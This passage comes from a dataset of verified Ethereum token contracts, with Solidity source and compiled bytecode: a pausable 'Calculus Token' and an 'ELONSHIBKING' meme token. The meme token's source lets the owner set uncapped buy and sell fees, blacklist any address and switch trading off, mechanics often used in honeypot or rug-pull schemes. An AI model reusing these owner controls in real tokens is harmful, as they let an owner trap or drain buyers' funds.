modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CalculusToken is PausableToken {
string public constant name = "Calculus Token"; // solium-disable-line uppercase
string public constant symbol = "CAL"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 2718281828 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd146102215780632ff2e9dc146102a6578063313ce567146102d15780633f4ba83a146103025780635c975abb14610319578063661884631461034857806370a08231146103ad578063715018a6146104045780638456cb591461041b5780638da5cb5b1461043257806395d89b4114610489578063a9059cbb14610519578063d73dd6231461057e578063dd62ed3e146105e3578063f2fde38b1461065a575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610753565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030e57600080fd5b50610317610758565b005b34801561032557600080fd5b5061032e610818565b604051808215151515815260200191505060405180910390f35b34801561035457600080fd5b50610393600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082b565b604051808215151515815260200191505060405180910390f35b3480156103b957600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085b565b6040518082815260200191505060405180910390f35b34801561041057600080fd5b506104196108a3565b005b34801561042757600080fd5b506104306109a8565b005b34801561043e57600080fd5b50610447610a69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049557600080fd5b5061049e610a8f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104de5780820151818401526020810190506104c3565b50505050905090810190601f16801561050b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052557600080fd5b50610564600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac8565b604051808215151515815260200191505060405180910390f35b34801561058a57600080fd5b506105c9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af8565b604051808215151515815260200191505060405180910390f35b3480156105ef57600080fd5b50610644600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b28565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b5061069b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610baf565b005b6040805190810160405280600e81526020017f43616c63756c757320546f6b656e00000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610d07565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610df9565b90509392505050565b601260ff16600a0a63a205b0640281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b457600080fd5b600360149054906101000a900460ff1615156107cf57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561084957600080fd5b61085383836111b3565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ff57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0457600080fd5b600360149054906101000a900460ff16151515610a2057600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f43414c000000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ae657600080fd5b610af08383611444565b905092915050565b6000600360149054906101000a900460ff16151515610b1657600080fd5b610b208383611663565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c4757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e8357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f0e57600080fd5b610f5f826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ff2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110c382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112c4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611358565b6112d7838261185f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561148157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156114ce57600080fd5b61151f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006116f482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561186d57fe5b818303905092915050565b6000818301905082811015151561188b57fe5b809050929150505600a165627a7a723058206ce66c84dfe48e4cdf60d20b323fd84724b3b967039b4ba556f152d753308bac0029
|
{"success": true, "error": null, "results": {}}
| 3,233 |
0x603fd4ceef58a960449be95161079550095cdf8d
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
/**
Elon:Is a new platform needed?
Meet the new king!SHIBKING INU is here.
Telegram: https://t.me/ELONSHIBKING
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBKING is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ELONSHIBKING";
string private constant _symbol = "ESHIBKING";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xd9eDF66917DfA051c5B6AAcD4467089dd5d73eDE);
address payable private _marketingAddress = payable(0xd9eDF66917DfA051c5B6AAcD4467089dd5d73eDE);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000000 * 10**9; //1%
uint256 public _maxWalletSize = 100000000000000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 10000000000000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610526578063dd62ed3e14610546578063ea1644d51461058c578063f2fde38b146105ac57600080fd5b8063a2a957bb146104a1578063a9059cbb146104c1578063bfd79284146104e1578063c3c8cd801461051157600080fd5b80638f70ccf7116100d15780638f70ccf7146104195780638f9a55c01461043957806395d89b411461044f57806398a5c3151461048157600080fd5b806374010ece146103c55780637d1db4a5146103e55780638da5cb5b146103fb57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035b5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b57600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611af6565b6105cc565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b454c4f4e534849424b494e4760a01b60208201525b6040516102319190611c20565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a4c565b610679565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5069d3c21bcecceda10000005b604051908152602001610231565b3480156102d557600080fd5b5061025a6102e4366004611a0c565b610690565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610231565b34801561032757600080fd5b5060155461028a906001600160a01b031681565b34801561034757600080fd5b506101f161035636600461199c565b6106f9565b34801561036757600080fd5b506101f1610376366004611bbd565b610744565b34801561038757600080fd5b506101f161078c565b34801561039c57600080fd5b506102bb6103ab36600461199c565b6107d7565b3480156103bc57600080fd5b506101f16107f9565b3480156103d157600080fd5b506101f16103e0366004611bd7565b61086d565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506000546001600160a01b031661028a565b34801561042557600080fd5b506101f1610434366004611bbd565b61089c565b34801561044557600080fd5b506102bb60175481565b34801561045b57600080fd5b5060408051808201909152600981526845534849424b494e4760b81b6020820152610224565b34801561048d57600080fd5b506101f161049c366004611bd7565b6108e4565b3480156104ad57600080fd5b506101f16104bc366004611bef565b610913565b3480156104cd57600080fd5b5061025a6104dc366004611a4c565b610951565b3480156104ed57600080fd5b5061025a6104fc36600461199c565b60106020526000908152604090205460ff1681565b34801561051d57600080fd5b506101f161095e565b34801561053257600080fd5b506101f1610541366004611a77565b6109b2565b34801561055257600080fd5b506102bb6105613660046119d4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059857600080fd5b506101f16105a7366004611bd7565b610a61565b3480156105b857600080fd5b506101f16105c736600461199c565b610a90565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016105f690611c73565b60405180910390fd5b60005b81518110156106755760016010600084848151811061063157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066d81611d86565b915050610602565b5050565b6000610686338484610b7a565b5060015b92915050565b600061069d848484610c9e565b6106ef84336106ea85604051806060016040528060288152602001611de3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111da565b610b7a565b5060019392505050565b6000546001600160a01b031633146107235760405162461bcd60e51b81526004016105f690611c73565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461076e5760405162461bcd60e51b81526004016105f690611c73565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107c157506013546001600160a01b0316336001600160a01b0316145b6107ca57600080fd5b476107d481611214565b50565b6001600160a01b0381166000908152600260205260408